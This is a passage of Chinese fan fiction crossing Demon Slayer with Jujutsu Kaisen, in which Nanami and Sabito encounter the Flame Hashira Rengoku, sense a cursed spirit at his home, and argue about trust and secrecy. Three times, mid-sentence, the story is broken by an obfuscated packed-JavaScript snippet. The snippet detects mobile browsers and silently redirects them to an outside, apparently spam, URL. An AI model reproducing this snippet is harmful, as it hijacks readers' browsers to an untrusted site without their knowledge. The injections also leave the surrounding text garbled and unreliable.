但事实证明这个世界有时候是很戏剧化的。 在和甘露寺一家闲聊谈天的路上，日野奈奈顺势与蜜璃交换了姓名。 在甘露寺蜜璃一句甜甜的“日野姐姐”之后，一股熟悉的咒力冷不丁从这个普通女孩身上涌入了奈奈身体。 那一瞬间日野奈奈的嘴巴张成了O型。 脸上舒缓的笑容僵住，她猛然转头看向不知道发生了什么事的蜜璃，那双浅绿眸疑惑地与她对视，随后亲昵地笑了笑。 但日野奈奈内心已经被这意外情况搞懵了，对蜜璃的示好完全做不出反应。 咒力来源！ 奈奈瞳孔地震。 天啊，路边随便一个女孩都能是这个身份吗？ 这不对吧。 义勇是经过了杀鬼训练的孩子，到了不死川是没经过训练但是已经开始运用稀血杀鬼的孩子。 她之前尝试设想“咒力来源”应和鬼杀队里的某些特殊之人挂钩。虽然目前不知道具体的特殊之处，但应该是他们在杀鬼方面有哪里与众不同。 但与鬼杀队无关的蜜璃呢？ 日野奈奈愣在原地，头脑风暴。 这三个人之间有什么共同特征吗？ 还是她之前有关“来源”的判断都是错的？“来源”就是靠纯偶遇，而不是围绕鬼杀队相关？ 突如其来的信息量冲击了日野奈奈一直以来的思路，导致她整个人像离了魂一样，蜜璃叫了好几声都没回复。 锖兔帮忙挡了挡来自甘露寺蜜璃的担心，只佯装无奈地解释“抱歉她有时候就是会这样”“她真的没事”。 嘴上帮忙接过话题，但锖兔并没有看上去那么习以为常。 他心底微沉，几不可见地皱了皱眉。银色瞳孔如雪针般钉在一旁的少女身上。 少女没有感受到他的关注，自顾自地神游天外。 ……对周身的注意力完全涣散了，没有任何防备。 锖兔只一眼便下了判断。 太危险了，完全没有危机意识和警戒心。 如果没有同伴在身边看着的话，这么做根本就是乱来。 他随即想起前几天奈奈被鬼穿喉的经历，似乎就是因为战后将后背朝向了鬼。 锖兔笑容渐冷。 啊，他差点忘了，这不是已经有了前车之鉴了吗。 “沿着前面那条路再走一段，应该就能到炼狱家附近了。” 在某个拐角处，蜜璃父亲停下脚步。他的手指指向西边，道路干净整洁地延伸向不远处的众多建筑群。 他略有些抱歉：“虽然对炼狱家有所耳闻，但我们家并没有前去拜访过，具体位置便不清楚了。” 锖兔压下怒火，客气道：“您愿意为我们带路到这，我们已经感激不尽了，非常感谢。” 蜜璃父亲笑着摇了摇头：“举手之劳罢了，今日小女也玩得很开心，谢谢你们。” “那么我们就此告辞了，劳烦您照顾。”锖兔礼貌欠身。 那边告别完毕，奈奈这边还在绝望分析，愣愣站在原地。 她迷茫地思索着自己遗漏了什么线索，导致这三人之间的关联出现断层。 除之前猜测的杀鬼相关之外，性别对不上，身份对不上，难道是具体的经历…… 不对，甘露寺蜜璃显然生活在一个幸福的家庭，他们的过往是截然不同的。 过去没有共性，现在也没有，等等，难道是未来……！ 忽然，一股粗糙的触感握上她的手腕，透过肌肤交叠处传来源源不断的暖意。 柔和强势的力道带着她一步一步向前，惊醒了沉浸在自己思绪里的奈奈。 她眨了眨眼，后知后觉。 是锖兔在握着她的手腕带她往前走。 “锖兔……”她下意识想慢下来，锖兔却拉了她一把，少女脚下一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104400|195754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个踉跄，只得跟上锖兔的步伐。 “怎么了，走得好快噢，”她疑惑道，眼睛突然睁大，“等等，蜜璃呢，我还没搞清楚——” “你还想搞清楚什么。”少年平静的声音从前方传来。 那是一种玻璃般的平静。 表面上没有任何涟漪，每个字摆在恰当的位置，音调也维持在一条直线上。 他只是在字句干净地反问。 但奈奈却顿住了话语，感到一丝异常。 “……你生气了吗？”她有些困惑。 “发生了什么？” 锖兔握她的手一紧，随后是少年和缓的语气。 “第二次。” 奈奈歪头：“嗯？” 锖兔看了她一样，看上去心平气和：“这是第二次，我等着第三次。” 话语里透出一股耐心意味，日野奈奈倏然汗毛直立。 ……所以她干了什么啊！ 日野奈奈睁圆眼睛，颇感无辜：“诶，什么什么，我怎么了嘛——” 她还想追问什么，锖兔忽而将目光投向道路远处，平静的面色冰冷下来。 “……鬼。” 携带血腥味的风慢慢晃过日野奈奈的鼻尖，她讨好般的神色渐渐拉了下来，眸底转瞬凝上一层冰。 血味很重，要么受伤的人很多，要么伤者伤势很重。 两人默契地止住话题。 锖兔先前莫名的话语即刻被甩至身后，日野奈奈脚下一轻，如流星般朝血腥弥漫之处掠去。 锖兔与她并肩而行，腰间日轮刀霍然出鞘。 黑云遮月，两人刀身在天边渐现的弱光下若隐若现。 近了。 日野奈奈已经看到前方拐角处迟缓流出的一洼血泊，一只手无力地搭在地上。 “嗡——” 刀势在日轮刀尖蓄势待发。 天际乌云逝去，月光如呼吸一般在刀身上起伏。 “水之呼吸·三之型·流流舞——” 锖兔的刀身上反射银光，极快地向前突进而去。 但这一抹银光远不及眼前忽然爆发的滔天火芒耀眼。 “炎之呼吸·一之型·不知火！” 暴烈的嗓音在昏暗夜晚炸响，刀势之火焰与发色相得益彰，撞入日野奈奈的视野。 以她极致的动态视力，只捕捉到鬼头从躯体上被刀挥落的一瞬。 日野奈奈睁大眼睛，眸底倒映着尚未消散的成天火光。 好强！她握紧了手中刀。 “叮。”来人收刀入鞘，听见两人的脚步声，向这边投来一眼。 这么一眼，却是让日野奈奈一怔。 与惊艳她的那一刀不同，这个男人的眼神并未如他的刀势一般霸气侧漏、豪爽利落。 他眼底一片青黑，冷冷地朝奈奈他们看了一眼。 随后并未寒暄，抽身向另一个方向掠去，嘴里痛苦地喃喃一个名字。 “瑠火……” 15.炼狱 “……等等！”日野奈奈下意识挽留。 然而那男人却似乎没听见，身影没入夜色，出现得突然，离开得也突然。 月云流散，凉风卷过思绪，清冷的意味和回忆里那道火光相冲。 日野奈奈四肢漫上一股战栗感。 ……很强。日野奈奈再次这么想到。 大开大合的刀势宛如流火，是千战百战中锤炼而得的极致攻击，那个男人是个历经血战的老练猎鬼之人。 虽然不知为何，他的攻击之间带着一种并不纯粹的焦躁感，但这并不妨碍他势力超群的事实。 刀火掩映间，日野奈奈久违想起初见锖兔时脑海里闪过的那道灵光。 那种奇异的、莫名的直觉牵引，悬于灵魂之上。 ——跟上这个世界的强者，跟上这个世界的异常之人。 奈奈深吸一口气，迈开脚前余光却先一步看到了地上躺着的人。 夜间出行的这个人打扮得体，似乎刚从某个令人愉快的地方回来，手里还珍惜地捏着一枚发簪。 然而本该沉浸于幸福的人此刻却躺在血泊中，体温渐渐在寒风中流逝。 她顿住，随后毫不犹豫拉了拉锖兔的袖子：“你去跟踪那个刚刚杀了鬼的人，我留下来照看伤员。” 锖兔：“跟踪？” 他看上去有些意外，毕竟大多鬼杀队队员之间都是萍水相逢的关系，只在任务时关系有所交叉。 在这之中当然也有行事孤僻的人，如刚才那个强悍的男人，通常都是杀了鬼便走，剩下的直接交给隐部处理。 可不知道为何，一旁的少女看上去很在意那个男人的样子。 ……难道她察觉到了什么异常？ 锖兔面色微沉，心头滋生疑窦，身体已然偏向男人离开的方向：“那个男人有问题？” 日野奈奈眨了眨眼，坦然道：“不是哦，我只是对他感兴趣而已。” 锖兔身形一顿。 感兴趣？ 他想问，日野奈奈却自顾自地说着。 “其实我想自己追的，但是这里还有人受伤呢，隐部还没来，根本脱不开身呢，果然还是这边更重要。”日野奈奈苦恼地拿刀柄摩挲下巴，而后想起了高兴的事情，扬起一个纯粹的笑容。 “不过转念一想，锖兔一直都在我旁边呀，一个人没办法同时做两件事，那么把其中一件事交给锖兔就好了。毕竟锖兔是特别可靠、特别负责的人啊。如果是锖兔的话，哪怕再重要的事也一定能搞定吧。” 她的手自然地捏着锖兔的衣角晃了晃，眉眼弯弯。 “所以，帮我去追吧，我身边只有锖兔可以拜托了！” 少女金色瞳眸里的亲昵如柔软的日光，纯然信任的目光不容抗拒地与锖兔对接。 方才还想皱眉的少年错愕地回看日野奈奈。 ——这种话说出来是犯规的啊，奈奈。 锖兔难以自持地浮现这样的念头。 我们是同伴，只要你说出合理的理由，我便愿意配合你做任何事。但“对一个男人感兴趣”这种轻浮的话语，是不可以成为行动的理由的。 他压下心间的莫名涩意，张了张嘴，义正言辞的劝责话语在喉间滚动。 “锖兔？”少女迷茫地看着沉默的他，歪了歪头，金色的眼睛眨了眨。 锖兔想起出行前，奈奈躺在床上，他的手被少女拢着，轻轻置于额头，那双被淡淡阴影覆盖的金瞳也是这样笑意盈盈地回看他。 ——锖兔会理解我的，锖兔会支持我的。 那时，奈奈那双眼睛是这么告诉他的。 ……但是让日野奈奈对一个陌生男人感兴趣，还是一个大叔？你自己会理解并支持吗？ 鳞泷锖兔质问自己。 日野奈奈说完后便没有管锖兔，先蹲下身检查这位倒霉的深夜出行之人的伤势。 虽然一大滩血看起来吓人，但幸好没有伤及要害处，不过人已经因为失血和恐惧昏过去了呢。 她连忙帮忙止血并为伤者披上衣物，忙完一阵后，奈奈才后知后觉锖兔似乎没动静。 日野奈奈转头催促：“快点哦，不然很难追上——” 一只手轻轻放在了她的头顶，日野奈奈口中的碎碎念止住了。 那只掌心有着厚重茧子，因为常年训练而显得宽厚粗糙的手，克制地停留在她的头顶。 日野奈奈抬头，对上锖兔的银色眼瞳，那里面似乎在翻滚着什么深厚的东西，又被少年平静地压在眼底。 锖兔揉了揉她的发丝，不待奈奈看清他眸中神色，下一瞬衣袖翻飞，少年消失在了夜色里。 “……干嘛啊。”日野奈奈回神，恢复了下意识屏住的呼吸。 她困惑嘀咕：“怎么一副生闷气的样子？” 还没想明白锖兔有什么深意，地上刚刚还昏迷的人呻吟起来，日野奈奈便将这小事抛诸脑后。 鎹鸦已经去叫隐了，周围没有人，在日野奈奈想用术式为伤者治疗时，不远月光铺就之处传来有序的指挥声。 “是这个方向，各位请从这边来！” “唔姆，血腥气很近了，在这——” 清朗如仲夏晨风的声音一顿，日野奈奈与一对炯炯有神的金红色大眼睛对上。 这是一位英俊疏朗的少年，有着一头黄红相间的发丝，唇边笑容热烈友善。 似乎是匆忙赶来，身上的室内着装还没有换，只披了一件红色羽织。 日野奈奈眨了眨眼，一只手还放在伤者的绷带上方。 见奈奈蹲在原地看他，少年愣了一下，随后爽朗地笑了笑。 “真是失礼，抱歉打扰您了！不过接下来交给我们便好！”他神采奕奕道。 身后的隐动作利落地上前，从奈奈手里接过伤员。 一切在少年的指挥下有条不紊地运转起来，日野奈奈站起身来，收敛了咒力。 她的目光盯在少年身上。 没看错的话，这少年和之前那个男人长得如出一辙。 而且是错觉吗，这孩子跟猫头鹰也长得好像。她内心有些惊叹。 察觉到少女的视线，金红色猫头鹰转头与她对视，精神满满地朝她招呼：“请放心，我们会安置好这个人！” “您辛苦了！” 日野奈奈诚实道：“我没干什么，鬼不是我杀的，是一个和你长得很像的人杀的。” “那个人很厉害。”她夸道。 少年愣了愣，随后唇边笑容扩大：“唔姆，原来如此，您说的或许是家父吧！” “但是辛不辛苦并不是杀鬼与否决定的，这位伤者的伤口被处理得很好，这是您的功劳！” 好、好有活力，日野奈奈像是被太阳闪了一瞬。 这样的孩子居然也能是刚刚那个阴郁的人的孩子吗？ 太阳照耀完她之后，就热情如火地去照耀他人了。 日野奈奈呆在墙角默默围观，看着金红色少年轻车熟路地对后续行动进行安排。 隐那边已经开始准备转移伤者了，少年作好最后的指示后，走来和日野奈奈并肩。 他主动攀谈：“您似乎在等我。” 日野奈奈不意外他看出来。在这一会儿的观察中，她已然察觉到这位少年开朗而心细的性子。 她耸了耸肩：“没错，我可能要跟着你去找我的同伴。” 少年疑惑：“这是什么说法？” 日野奈奈挠了挠脸：“嗯……因为我拜托了我同伴去跟踪你的父亲呢。” 少年睁大眼睛，金红色的瞳孔颤抖起来。 见状，奈奈也有些不好意思：“咳，我们不是故意的，只是有事情想问……” 不，其实也没什么事情想问，只是觉得对方可能与她的回家的目的挂钩，因此很感兴趣而已，所以想死皮赖脸跟在身后……为此还特地拜托了锖兔。 但这能说出来吗，绝对不能。 哪怕无所谓如日野奈奈，也没法对着人家孩子说出类似“我对你爸爸感兴趣”之类的话。 ……啊，“感兴趣”这个词好像有哪里很奇怪。 羞耻心后知后觉地从心里略微长了点出来。 怪了，怎么对锖兔直言不讳的时候就觉得没问题呢。日野奈奈想。 她陷入沉思。 严肃的声音打断了她的神游：“那么我们要立刻赶回去了。” 日野奈奈：“啊，当然没问题，真是不好意思……” 少年认真地看着她，脸上掠过无奈：“不好意思的或许是我们家，抱歉，因为家母一直身体不太好，这两天尤其……所以家父这段时间的心情可能会有些暴躁，如果您的同伴被发现的话……” “家父暂且居炎柱之位……” 他委婉地看了一眼日野奈奈，希望对方明白自己的意思。 日野奈奈惊了。 “炎柱”两个字框一下砸她脑子里。 柱级，鬼杀队中最顶端的剑士之级，与普通剑士的实力差如天壤之别。 敢情你之前瞳孔地震不是为了你爸， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112500|195754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而是为了我们的安危啊！ 回想起男人斩鬼时的实力，加上少年说的情绪状态，再加上对方鬼杀队炎柱的身份…… 被发现跟踪的话会被揍吧，绝对会被暴揍吧！ 日野奈奈原本不好意思但略显放松的心态紧张起来。 肉粉色少年在她嘱托下飞身离去的身影在脑海中浮现。 锖兔—— 顾不上多聊其他的，日野奈奈星急火燎地跟随少年赶往家中。 在赶路途中，她得知了令人意外的事。 原来这少年一家便是她和锖兔想要寻找的炼狱家，而其家主炼狱槙寿郎便是鬼杀队的炎柱，也是刚刚斩鬼的男人。 ……很好，她宁愿暂时不要这么巧。如果早点知道炼狱家的外貌特征，或者刚刚就知道那个男人的身份就好了。 锖兔，千万不要被当成跟踪狂捉起来啊！ 府邸近在咫尺，日野奈奈火急火燎即将一脚跨进去—— 一只手从旁边猛然拉住了她，少女向后一仰，身体因为惯性向前冲，一个趔趄差点摔地上，被人眼疾手快地捞进怀里。 熟悉的气息缭绕在鼻尖，环抱身体的手臂紧实有力。 日野奈奈一下子便知道来人是谁，身体放松下来。 她熟练抬头，对上锖兔沉闷的眼神，似乎还带着一丝无奈。 没有管对方还疑似生闷气的状态，日野奈奈哇地一声回抱锖兔。 “对不起啊锖兔！差点让你被上级揍掉了！对不起，都是我的错，差点让你挨揍了呜呜！” 蹲在门口阴影处隐蔽自己的锖兔迅速捂住她的嘴：“别叫这么大声。” 日野奈奈唔唔两下，点了点头。 见她这幅靠在身前乖巧不作妖的模样，锖兔心里的气结消了一些。 等奈奈安静下来，锖兔松开手疑惑道：“什么叫我被揍？” 他的眼眸一转：“还有这又是哪位？” 一旁的少年眼神在相拥的两人之间流转了一下，唇角笑意不变：“您好！我是炼狱杏寿郎！” “这家就是我们本来要找的炼狱家，他是这家府邸的孩子。”日野奈奈小声补充。 锖兔僵住，他想到什么，低头看向自己，赫然一副藏在暗处跟踪的模样。 也就是说，我们刚刚跟踪的事被那个人的孩子发现了，甚至现在蹲在人家眼前大声密谋？ 锖兔有些窒息地看向日野奈奈。 日野奈奈心虚地看了他一眼：“刚刚我叫你追的那个人是炼狱槙寿郎先生，是这家的家主，也是——” 她的声音在锖兔的盯视下越来越小：“也是鬼杀队的炎柱。” 奈奈尴尬地朝锖兔笑笑。 少女身后，当事人的孩子冲锖兔友善微笑。 奈奈巧设连环计，锖兔误入断头台，当场抓包。 “……” 锖兔痛苦地闭上了眼睛。 他谢谢她还能惦记着不让他挨打。 炼狱杏寿郎见两人沉默的样子，笑着对奈奈说：“不必如此，这不过是小事！况且，你的同伴看样子并没有被家父发现，真是实力强劲，这是好事！” 锖兔缓过劲来：“抱歉，是我们冒犯了。” 日野奈奈继续小声：“那我们要去找那位炎柱道歉吗。” 锖兔额角抽了抽。 不，他恨不得拉着日野奈奈远离此地八百里。 炼狱杏寿郎大笑：“不必横添琐事！就当这事没发生过便好！” “不过如若想找家父问事的话，今夜怕是没有时间了，”炼狱杏寿郎歉意道，“家母这两天的情况不算好，父亲大人应该杀完鬼便回房照顾了。” 好体贴的孩子，日野奈奈眼泪汪汪。 不仅不追究他们的行为，还记得之前她随便扯出的借口。 这就是东京大户人家孩子的修养吗？ “万分感谢，”日野奈奈赶忙道，“那我们之后再来——” 话音未落，一股令人作呕的腐朽味道越过眼前的墙垣，直直朝日野奈奈漫来。 皮肤最先传来预警，后颈汗毛倒竖，一股没有来源的恶寒从尾椎爬升。 奈奈耳边开始出现持续的嗡鸣，夹杂着听不清的窃窃私语。 恶心、扭曲、怨恨的情绪铺天盖地席卷而来。 最重要的是，这些情绪都是她曾经熟悉无比的，是她曾与之作战或用之作战的东西—— 日野奈奈猛然向炼狱府邸之内看去，心脏狂跳起来。 ——咒灵！ 16.逼迫 与不死川实弥之前背后偏于自然精灵的纯粹之“灵”不同，这次咒灵的感觉无限近似于她在咒术界感知到的诅咒。 刹那间，日野奈奈杀意毕现，下意识就想抽出左手边的咒具长刀。 在她欲挥刀越墙而入前，一只手用力压在她的刀柄上。 日野奈奈回头，对上锖兔凛然的眼神。 缠于腰间的刀柄加重，是锖兔的手在不动声色地将出鞘半身的长刀往回推，带着不容抗拒的力度。 锖兔低垂眼睫，大拇指压住奈奈的刀往下，直到那一声微不可见的“叮”，彻底收刀入鞘。 “谢谢您的体谅，那么我们改日再前来拜访。” 锖兔的声线柔和而平静，银瞳转向炼狱杏寿郎。 一旁的炼狱不知何时堵在了日野奈奈和炼狱府之间的位置，唇边的笑容已然消隐。 那双上挑的金红色眼睛本该洋溢热情与善意，此刻却呈现一种肃然的意味，他注视着日野奈奈。 日野奈奈后知后觉意识到什么，讷讷将手从刀柄上松开。 锖兔牵住她的手腕。 “我没有其他意思。”她抿了抿唇，少女的金瞳带着歉意和诚恳。 炼狱杏寿郎扬起笑容，语气看上去还是和之前一样热忱：“欢迎你们之后再来拜访。” 锖兔领着日野奈奈客气道别，双双鞠躬，掌心牢牢抓着奈奈。 炼狱杏寿郎笑眯眯地挥手。 直到目送两人的身影消失在道路尽头，炼狱杏寿郎才缓缓收起笑容。 日野奈奈和锖兔较着劲，月光洒落在少年少女相连的双手上。 拐了几个弯后，她用力扯开锖兔的手，按捺不住心里的焦急。 “我要回去！”日野奈奈斩钉截铁道。 那可是咒灵啊！以她的经验来看，等级不会有多低！ 况且，不仅是因为从心底憎恶着诅咒，恶其怨毒、恶其剥夺生命之轻易，更是因为好不容易窥见与咒术界如此重叠的事物，她不可能放弃追究的机会！ 像是完美无缺的蛋壳对她破开一道缝隙，如果“门”就在刚才那只咒灵所在处…… 日野奈奈的手不可抑制地颤抖起来。 她坚定地握上咒具，与锖兔对视。 一个多月了，她不会放过这个机会。 “请不要阻拦我，锖兔。”她说。 日野奈奈认真道：“我不会将刀朝向人类，我始终为了生命而战，请相信我。” 少女站在原地，倔强地不肯再挪步。 月光洒在她的黑发上，将其神情全然映亮，敛入鳞泷锖兔的眼底。 锖兔的手指动了下，脸庞上流露出日野奈奈看不懂的复杂神情：“……笨蛋。” 他伸出手指，顶在日野奈奈的额头上。 日野奈奈被戳得往后一顿，迟缓地眨了眨眼睛。 眼前俊秀的少年看着她，银色的眼睛里有什么和月光一起流转：“奈奈真是个笨蛋啊。” “也是，我早就知道的。”他自言自语似的。 是个和义勇一样需要被人看着的，无比迟钝的孩子呢。 锖兔深深看着她：“我为什么会质疑你对于守护生命的决心？” “奈奈在藤袭山救了我，我的记忆深深珍藏着那一刻，不死川君的相关事情也是，你一直在向前奔跑，想将所有人都护在身后。” 锖兔正对着奈奈站立着，夜风轻轻拂过他的羽织，两人衣角的边缘交错一瞬。 “但是啊，我真不甘心。”锖兔一字一顿，“你是在看不起我吗？” 日野奈奈有一瞬间的惊讶，这份讶异盖过了之前的焦急，令她反驳出声：“怎么可能！锖兔的天赋和刀法都是我见过数一数二的……” “那么，”锖兔打断了她，“为什么不问过我的意见，便将我推往身后，将心里的事情全部隐瞒，一点都不愿意告诉我？” “你对我的夸奖只是暂时的安抚，其实心里完全没有将我放在平视的位置，不是吗？” 少年凝视着她，眸底的浓厚情绪向外延展开来。 “你在急切着什么，日野奈奈，急切到要把我抛在身后。” 与话语一同降临的敏锐目光洞察了日野奈奈的内心，她下意识向后退了一步。 “不，不对，我没有将你抛在身后，”她说，“我们是同伴，我不会——” 锖兔朝她逼近一步：“你没有否认你的急切呢，那就告诉我，你究竟在往何处前进。” “为什么突然对炼狱槙寿郎先生感兴趣。” “为什么刚刚想拔刀闯入炼狱府。” “为什么一直横冲直撞的，对什么都无所谓的样子！” 问题一个紧接一个，如连珠炮弹炸得日野奈奈头昏眼花，她一直被紧逼的话语逼得往后退。 直到脚后跟抵上墙壁，她发现自己退无可退。 锖兔和她离得很紧，短促而紧绷的吐息若有似无在她面颊上拂过，那双如镜湖般剔透的银眸被少年满心怒火烧得波光粼粼。 ……锖兔又生气了。 日野奈奈睁大眼睛想。 这次又是因为什么？ 明明刚开始认识的时候是那么温和正直的一个人，年龄小于她，是可靠的弟弟。 他们在藤袭山上并肩作战，以此为契机发展出属于同伴的羁绊与情谊。 但从出任务开始，他的形象渐渐向日野奈奈印象中的长辈靠近，像是兄长一样，展露出威严和恨铁不成钢的样子。 对她担忧不已，磨磨蹭蹭，喋喋不休，惴惴不安。 但是到底在不安什么呢，在生气什么呢。 日野奈奈是不会死的啊。 只要不会死的话，不是做什么都无所谓吗？ 日野奈奈瞠目结舌半天，努力想理解对方的愤怒。 然而脑海中毫无思绪，甚至对锖兔有了一丝委屈的埋怨。 为什么一直在逼问她啊，为什么老是对她发火啊。 她想摆脱这种被迫的思考，但是锖兔就牢牢地挡在她的身前。 日野奈奈第一次意识到锖兔的身体比她高，身形也比她更强壮。 明明看起来是俊秀颀长的样子，却死死堵住了她往外逃跑的路。 那双银瞳执著地注视她，里面有期望，有渴求，更多的是步步紧逼的愠意。 日野奈奈手指无意识地绞着衣角，一股气沉甸甸地憋在胸口，随着每一次呼吸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128749|195754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下滚动，却怎么也吐不出来。 好烦躁，好烦躁，她想。 那种茫然的委屈透过金瞳向外折射出一丝水光。 锖兔一愣，脸上的怒气一滞，他迟疑地抬手，在眼前少女的眼角轻轻擦拭一下，手上的水痕在月光下赫然可见。 湿漉漉的触感从指尖开始往心底渗透，锖兔怔在原地。 他被猛地一把推开。 “锖兔简直莫名其妙！”日野奈奈终于叫了起来，“我只是想要回家而已啊！” “我找不到回家的路了，我只是想要找到回家的门扉而已，我做错什么了吗？为什么要一直凶我！” “我说了我想干什么，锖兔也完全懂不了吧！你知道什么是诅咒吗，你知道什么是咒灵吗，你知道咒术界是什么地方吗？” 日野奈奈用力吸了一下鼻子，恶狠狠道：“锖兔什么都不知道！锖兔只知道问我莫名其妙的问题！对我发莫名其妙的火！” “锖兔什么都不懂，锖兔才是大笨蛋！” 骤然爆发的声音如天上惊雷，打醒了怔愣的鳞泷锖兔。 日野奈奈不管不顾地喊叫一通后，脑子和耳朵都嗡嗡得响。 她的胸膛剧烈起伏，锖兔被她推开了好一段距离，影子朝她的方向投来。 两人之间一时间只有日野奈奈喘息的声音，除此之外便是一片沉默，连远处树梢的夜鸟也噤声敛翅。 “哈哈。” 忽然，日野奈奈对面的少年笑了起来。 愉悦释然的笑声，带着一股无可奈何。 “说出来了啊，奈奈。” 他眼神温柔下来，看着日野奈奈。 日野奈奈：“……什么？” “是啊，我确实不知道你刚刚说的名词是什么，‘诅咒’‘咒灵’‘咒术界’，完全不知道这些是什么。”锖兔摇了摇头。 他的神情重归平静：“但是你从不跟我说的话，我如何得知它们是什么。” “你总是下意识隐瞒这些，但你有没有想过，如果你一直不坦白于我的话，我又该如何继续与你相处。” “看着你一个人向未知的方向走去，越走越远，然后我只能无能为力地在背后注视吗？” 锖兔笃定道：“炼狱府里就有你刚刚说的东西，诅咒，咒灵之类的东西，你的刀不会毫无缘故地指向无辜。” 日野奈奈被锖兔一连串坦白交心的话语冲击，眼神愣愣地向下垂着。 地面上两道被月光拉长的影子，一道是自己的，缩在靠墙的一角，另一道稳稳地陪伴在她旁边，随着时间的流逝，它们渐渐地靠近，相贴在一起。 “我会与你前去，我所有愤怒的唯一指向之处，便是你想背着我独自处理所有。” 他平静地抽出了刀，深蓝刀身在月光下泛出银芒。 “早在藤袭山时，我便说过，日野奈奈，我们今后是生死相随的队友。” “带我去吧，日野奈奈，我与你一起斩杀与鬼同样躲在幽暗之处的东西，陪你一起回家。” 锖兔提刀而立，看着日野奈奈的眼神专注而温暖。 他笑意清浅。 “作为以命相托的队友，我们之间，唯独不需要隐瞒。” 17.同盟 担忧她的生命，挂心她苍白的脸色，忧虑她始终往前冲的悍勇。 但终归到底，不过是被隐瞒着重要之事的失落，被她排除在目标之外、无法与之并肩的不甘心。 直白的话语袒露着这些，日野奈奈懵懂地与他对视着。 锖兔……一直是抱着这样的想法与她同行的吗？ 少女张了张嘴，又下意识摸上了左边的咒具。刀柄的凉意被体温逐渐捂热。 队友，是需要存在又理应警惕的关系。 日野奈奈是这么认为的。 没有掌握自愈能力的人类经常是转瞬即逝的存在，哪怕拥有再强悍的进攻能力也一样。 就像是夏日祭上的烟花，在众人的目光下绽出最耀眼的一刻，随后便沦为夜空的灰烬。 觉醒术式后，日野奈奈本认为自己可以留住烟花。 但是她却没想过那份燃烧中的硫磺余烬是可以灼伤人的。 人类哪怕再像烟花，也是人类，是会被诱惑、被诱导的存在，会自然而然地刺伤他人，反叛同伴。 回忆如水般从脑海中流过。 所以，从最淳朴的愿望出发，队友这种存在只要活着就可以了，只要活着，她便可以对得起任何人。 也就能无所顾忌地继续前进。 交心什么的，咒术师可是最忌讳交浅言深的啊。 日野奈奈想。 锖兔退开了一段距离，这是突围的好时机。 但是脚却诚实地扎在原地，身体不舍地朝向锖兔的方向。 她应该抽身离开的，日野奈奈想。 ……可是锖兔的话说得好漂亮。 那句话又浮现在脑海。 队友，是需要存在又理应警惕的关系。 是理应警惕的关系，但是……也是需要存在的关系。 日野奈奈怔怔地摸着心口。 啊，原来她的心里还在渴望着啊。 需要那份纯粹之情，可以彼此交付性命的令人向往的关系。 仿佛这样就可以填满被无数诅咒冰冷麻木的内心，被见证的惨剧蛀空希望的心灵就可以再次丰盈起来。 “……” 锖兔静静地等待着。 他甚至有些好笑地想。 被说愣住了啊，居然能对奈奈做到这样，自己也是让她吓了一跳吧。 但这可是掏心掏肺之语哦，也确确实实是他的真心。 鳞泷锖兔从不是被迫接受一切的人，既然已经看见了隔于两人之间的透明之壁，怎么可能不去打破，怎么可能不去争取呢。 这份由衷之言，奈奈……你愿意收下吗？ 四周有缓和的风声划过，远处的啼鸣渐渐响了起来，在月光下优柔扩散着。这是一个暖意融融的夜晚，春天快要来了。 良久，日野奈奈抬头说道：“……居然都这么说了，那不是没办法了吗。” 看见她的神情，锖兔攥着的拳头松开了。 “那就跟我来吧！”奈奈说道。 懵懂和困惑的神色从她的眸底褪去，取而代之的是某种决心，月光下的少女毫不扭捏地扬起下巴。 她一把擦掉眼角的水分，如往常一样明亮地笑了起来。 “准备好迎接新世界吧，鳞泷锖兔！” * 夜色早已深沉浸染了炼狱的府邸。这座建于遥远前代的武家屋敷里，黑瓦压壁，松叶倒垂。 惊鹿叩石的清响正在被急促的脚步声淹没。 灯火在带起的风声中摇曳。 “再去接一盆干净的水来，瑠火夫人的烧还是没退下去。” “是。” “药煎好了吗？关注情况，好了之后第一时间送来。” “明白。” “炎柱大人的孩子们呢？杏寿郎在照顾千寿郎吗？那就好。” “真是可怜啊，母亲已经病成了这样……” 走廊缘侧，被派来帮忙的隐成员感慨道。 炼狱家的当家夫人，炎柱大人深爱的妻子，名为炼狱瑠火的妇人一直以来便体质虚弱。 虽然虚弱，但整体上并无大碍。可在半年前，瑠火夫人的身体急速恶化，再起不能，到现在已经演变成不能吹风、无法出行的情况。 炎柱大人以前明明是那么意气风发的一个人，精神却在爱人的日渐衰落下变得比一天比一天萎靡。 甚至连所管的辖区都无法全然掌控，近日，不少恶鬼都在暗中蠢蠢欲动。 主公大人体谅炎柱大人的痛苦，便派出他们这些隐暂驻炼狱府，在任务闲暇时帮忙照顾瑠火夫人。 哪怕被人专门照顾，瑠火夫人的生命却还是滑向彼岸。 